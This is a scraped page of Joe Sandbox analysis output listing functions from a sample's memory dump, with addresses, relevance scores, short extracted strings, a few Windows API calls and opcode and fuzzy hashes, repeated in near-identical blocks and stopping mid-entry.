Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 2930f9150865b779cd2904f266a970b5454366dbe90d1bc71827c5482ee72cd6
Instruction ID: 2da508e8002a94766c6bc39abb124ddba285cc42ccccb4be3cbd54b7fbb67447
Opcode Fuzzy Hash: 2930f9150865b779cd2904f266a970b5454366dbe90d1bc71827c5482ee72cd6
Instruction Fuzzy Hash: 52312575D012199BDF60DFA4CD49BCDBBB8AF08304F1045AAE40DAB290EB709B84CF55

Function 6E806A10 Relevance: 5.8, Strings: 4, Instructions: 819COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E806A2B
?R$, xrefs: 6E806F68
^^p, xrefs: 6E807565
^^p, xrefs: 6E807349

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?R$$^^p$^^p$}mH
API String ID: 0-3687332255
Opcode ID: c92ef6ed04b4a84ebb800353be8b34e1da272addf440e85f2db293516febef3c
Instruction ID: fb1d673ae2bdd735d9b31ed0390dfcf1319e61a328fc423ca4da08c30d4f0c7b
Opcode Fuzzy Hash: c92ef6ed04b4a84ebb800353be8b34e1da272addf440e85f2db293516febef3c
Instruction Fuzzy Hash: 1B52DF36F506098FCB04DEFDC9943CE7BF2AB46350F109919D825EB795C63AA90ACB41

Function 6E805AC0 Relevance: 5.3, Strings: 4, Instructions: 298COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E805ACE
v)8d, xrefs: 6E805C0A
sS2;, xrefs: 6E805C90
v)8d, xrefs: 6E805C8B

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: sS2;$v)8d$v)8d$}mH
API String ID: 0-621835856
Opcode ID: 6362197ea445efe6d8251ca70e259ca0dd6babc3781acbbe443b3dd889036308
Instruction ID: 7e6048b220240fff228c4c7a151f2878e590b9ead866117c3655a08d7de471df
Opcode Fuzzy Hash: 6362197ea445efe6d8251ca70e259ca0dd6babc3781acbbe443b3dd889036308
Instruction Fuzzy Hash: 73A13A36A4060A8FDF14CFBCC9E57DE77E2AB47320F245A15D865EB3D0C62A5909CB60

Function 6E804F10 Relevance: 4.0, Strings: 3, Instructions: 251COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E804F27
#h>, xrefs: 6E805054
#h>, xrefs: 6E805218

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #h>$#h>$}mH
API String ID: 0-2102491416
Opcode ID: 15282cdbd1bd9a9b44b31bf689c3c6bc2654f2631aac1de1c3e92a49fc9ce5d0
Instruction ID: f977668e732438dafe4b4b5149dfd5014197fc31db1da6a33adf133ec0ae7bca
Opcode Fuzzy Hash: 15282cdbd1bd9a9b44b31bf689c3c6bc2654f2631aac1de1c3e92a49fc9ce5d0
Instruction Fuzzy Hash: BE81F475E406168FCF04CFFCC8A53DE7BF2AB5A321F115919D911EB391C62A490ACBA4

Function 6E8120ED Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E8121A9

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: 72c862ba112c015c5ee73f8427531a7b0f4517527b6d64706f1756d6861ebb2e
Instruction ID: 3939b7925ce05488cf0b0bdcbfca324675ec3daa5a15b9d41ffbb5ea7e77397a
Opcode Fuzzy Hash: 72c862ba112c015c5ee73f8427531a7b0f4517527b6d64706f1756d6861ebb2e
Instruction Fuzzy Hash: 464191B590821AAFDB50DFA9CC88AEABBB9EB45304F1446DDE41DD3240DB349E84DF50

Function 6E8084F0 Relevance: 2.9, Strings: 2, Instructions: 427COMMON

Download Yara Rule

Strings

2]<8, xrefs: 6E808A12
2]<8, xrefs: 6E808B52

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2]<8$2]<8
API String ID: 0-4277245287
Opcode ID: 8a369a9bc58db7da8dc6de8fbfb572088701298c7ff6ea88678626818fb0d342
Instruction ID: 04631081cdf1669dc3c455c1bf4649e60fec5757b50887e526eca0f70cd831c5
Opcode Fuzzy Hash: 8a369a9bc58db7da8dc6de8fbfb572088701298c7ff6ea88678626818fb0d342
Instruction Fuzzy Hash: F9E1F372A45109DFCB04CFFDEEA57DD7BF2AB46350F105A16E825E7384D72989888B01

Function 6E809560 Relevance: 2.8, Strings: 2, Instructions: 347COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E80956B
Unknown exception, xrefs: 6E8098E6

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Unknown exception$}mH
API String ID: 0-3621796645
Opcode ID: d1d086ce21114200fea2d2da1adc755364bb9b76f0f466204839eddfae236cab
Instruction ID: 1ff66eda8cfec4e53ef095403c3ea6a3069b019d0bcc9fcbf7927029438b91c6
Opcode Fuzzy Hash: d1d086ce21114200fea2d2da1adc755364bb9b76f0f466204839eddfae236cab
Instruction Fuzzy Hash: 06C10576E406098FCF04CEFDD9A57CE7BF2AB8A311F109919D421E77A4C62A9809CF51

Function 6E806550 Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

AM|, xrefs: 6E806710
AM|, xrefs: 6E80676E

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: AM|$AM|
API String ID: 0-2112996108
Opcode ID: 374058d4cb57a359c1705f2956a9cedd11224bb4f88026da16632eb22c2f51be
Instruction ID: adfadda29a3ad05ceff0b1fd12522be33ceecb34bf72ba6c2000f11ac5e9a024
Opcode Fuzzy Hash: 374058d4cb57a359c1705f2956a9cedd11224bb4f88026da16632eb22c2f51be
Instruction Fuzzy Hash: 2BA12676A6411A8FCF04CEFCCD917DE77F2BB46320F106A19D821E7B84C62A9949DB10

Function 6E8017D0 Relevance: 2.8, Strings: 2, Instructions: 268COMMON

Download Yara Rule

Strings

QB, xrefs: 6E8019B4
}mH, xrefs: 6E8017E2

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH$QB
API String ID: 0-1228090609
Opcode ID: e9a569e0119274dc18c7c45c62458e9020e64dae76497ecfe4710fe486816779
Instruction ID: 1c1c06a86722963387b876a4eac5fe3279389516204b2bf076fc1f4a28fe3f35
Opcode Fuzzy Hash: e9a569e0119274dc18c7c45c62458e9020e64dae76497ecfe4710fe486816779
Instruction Fuzzy Hash: 6991D176E002188FCB04CFFDD9956DEBBF2AB4A328F104A19D816EB350D6359909CF51

Function 6E802A00 Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E802A14
@B_a, xrefs: 6E802AA8

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @B_a$}mH
API String ID: 0-313790564
Opcode ID: 582cda309efb258e6b1aaf0bb7d34c33acfe504528ea93cf96d78c8a9d8ec598
Instruction ID: 408b62334e72f3d070bed2f7a63850a931474271f876bd3614ac695b96aa2f28
Opcode Fuzzy Hash: 582cda309efb258e6b1aaf0bb7d34c33acfe504528ea93cf96d78c8a9d8ec598
Instruction Fuzzy Hash: 7241E535E406098FCF05CEBDC9A07DE7BF6AB4A320F105659D824AB3A6C6799905CF50

Function 6E807890 Relevance: 1.9, Strings: 1, Instructions: 689COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E80789E

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: ba7a2876832d6d6d073fdfb4c593c4d9843fb48d774a8a76fc6f44a4c74fd3e0
Instruction ID: effebaba2fd5a4a0b51b964cd168beb6ac600862c90b1da81d374e83a8e073c1
Opcode Fuzzy Hash: ba7a2876832d6d6d073fdfb4c593c4d9843fb48d774a8a76fc6f44a4c74fd3e0
Instruction Fuzzy Hash: 4E320576A9450A8FCF04CEFDD9E57DE77F2AB56310F205919E821EB394C636990ACB00

Function 6E803B40 Relevance: 1.9, Strings: 1, Instructions: 661COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E803B57

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: 5a5dc9d4b1aa9136a3d400f37fb74c819202c70ae6a9c0d8e7bc4624953a21ba
Instruction ID: 938e843d865b5d327e8a62b60193222c3a881714640d36b658c996208bd795c3
Opcode Fuzzy Hash: 5a5dc9d4b1aa9136a3d400f37fb74c819202c70ae6a9c0d8e7bc4624953a21ba
Instruction Fuzzy Hash: 6C328CB5A446098FCB04CFECEA95ADEBBF2BB8A314F004929E815EB355D7359C05CB41

Function 6E7F8CC0 Relevance: 1.9, Strings: 1, Instructions: 661COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E7F8CD4

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: 3ab63b98279428e9f798389d004a850a44ed1312cab7b9d9ac80d70baaaa676f
Instruction ID: dff9589151ea113881feba1d8d066a160b5fa50a6e845c8c7666b22b604b722c
Opcode Fuzzy Hash: 3ab63b98279428e9f798389d004a850a44ed1312cab7b9d9ac80d70baaaa676f
Instruction Fuzzy Hash: 39328C75A44205CFDB44CFEEC6D47DD7BF2AB5A314F20422AD8199B3A9C636990ACF01

Function 6E818515 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6E818510,?,?,00000008,?,?,6E818113,00000000), ref: 6E818742

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: dc299666d8db0e88cf6292f3b000f85687f4206e984006f9d06bc4d2a61e70bb
Instruction ID: 5de3c2bb31f9779f4fa4bcc847ffff43c3a58b5bc30a2ab1a14b8ee794b3829c
Opcode Fuzzy Hash: dc299666d8db0e88cf6292f3b000f85687f4206e984006f9d06bc4d2a61e70bb
Instruction Fuzzy Hash: 7AB1583221460A8FD745CF68C49BB957BE0FF45364F258A98E8A9CF2E1C335E991CB40

Function 6E80B140 Relevance: 1.7, Strings: 1, Instructions: 420COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E80B14B

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: 27bab2d1e03293043b6b5b652510666ad3efd6384d2caba2bf9aa8fe09b6f564
Instruction ID: e8ed4ee926ea550f4d7c26f16e108485de0aa975edbf34fb5cd07712b0297067
Opcode Fuzzy Hash: 27bab2d1e03293043b6b5b652510666ad3efd6384d2caba2bf9aa8fe09b6f564
Instruction Fuzzy Hash: D7E11332A4064A8FDF04CEFDD9A13DE77F2EB57350F109919E821EB398C6298909CB55

Function 6E80C3B8 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6E80C3CE

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7c1fa876f964d69fd6f113033959544e8929593e5fda70c9e20efe7c655c7906
Instruction ID: a0fcffc76f05173b5fe61d2bbcc0f4cf484aa21aa4ffedf5162240597511753c
Opcode Fuzzy Hash: 7c1fa876f964d69fd6f113033959544e8929593e5fda70c9e20efe7c655c7906
Instruction Fuzzy Hash: 83518871915A058FFB45CF99C9917AEBBF1FB46310F208629D819FB286E3749904CFA0

Function 6E802CE0 Relevance: 1.6, Strings: 1, Instructions: 321COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E802CF4

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: 36156879b80a34df416ba78fb2dfe5278f8e8f41f5de9363b0874d3828cf6abf
Instruction ID: 6d645273dae914b584c8a9ba88b89c33b87ecfec6eba241b02c3bee7a4152126
Opcode Fuzzy Hash: 36156879b80a34df416ba78fb2dfe5278f8e8f41f5de9363b0874d3828cf6abf
Instruction Fuzzy Hash: 35B1D036A4461ACFCF04CEFCCD99BDEB7F2AB4A310F10481AE815A7395C6798D098B10

Function 6E801EF0 Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E801EF8

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: 141e03015ed8076e973798ebefc1f0f563531356b612e6d27a9b75a648d308a6
Instruction ID: 32e18e3e11d5c7e961072ba3aaf82fb8425e10e783f5a8a71faddacca01dcd9b
Opcode Fuzzy Hash: 141e03015ed8076e973798ebefc1f0f563531356b612e6d27a9b75a648d308a6
Instruction Fuzzy Hash: 97A1DE71A45209CFCB04CFECE9907DDBBF2AF4A324F005A1AE815E7396C6799949CB50

Function 6E8061B0 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E8061C4

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: af719a4eb8558e1872ee850e672d834720a85c7bedce4b74a4f2130e3bedc59d
Instruction ID: 6c9044526fe063af170284e858941140d08b72005e0deecd922737fa34a06f7e
Opcode Fuzzy Hash: af719a4eb8558e1872ee850e672d834720a85c7bedce4b74a4f2130e3bedc59d
Instruction Fuzzy Hash: 9091DF76A542099FDF04CFECC9907CEBBF1EB0A324F101919E910EB794C239A884DB95

Function 6E7F5340 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E7F5351

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: de5dfd8dc29e2f09c013e061152fba2e24c5ef13cf6c31f923f9da24cf350cda
Instruction ID: c47a43026359654c3c87999ca1d66d08d2cd70a4c300267d80887db8a726de33
Opcode Fuzzy Hash: de5dfd8dc29e2f09c013e061152fba2e24c5ef13cf6c31f923f9da24cf350cda
Instruction Fuzzy Hash: C181D075A04609CFDF04CEBCEA917DEBBF2AB4A355F108115D821EB364C6399D0ACB61

Function 6E801BB0 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E801BC3

Memory Dump Source

Source File: 00000000.00000002.2153452626.000000006E7F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6E7F0000, based on PE: true

Associated: 00000000.00000002.2153275754.000000006E7F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153555317.000000006E819000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153602808.000000006E880000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2153902117.000000006E882000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }mH
API String ID: 0-246349140
Opcode ID: 886924fa1012dad168daf32a00e775341aa8cb6afd5a7cf9167843becbcdc71c
Instruction ID: d71c47c2ea7054f7d5590087ea57434cdb2ef86299599640535daae7111dca87
Opcode Fuzzy Hash: 886924fa1012dad168daf32a00e775341aa8cb6afd5a7cf9167843becbcdc71c
Instruction Fuzzy Hash: A341E375E4060A8FCF04CEFCC9A13EE77F5AB0A324F105919D821EB790C7399A098B91

Function 6E805410 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

}mH, xrefs: 6E80541B

Memory Dump Source

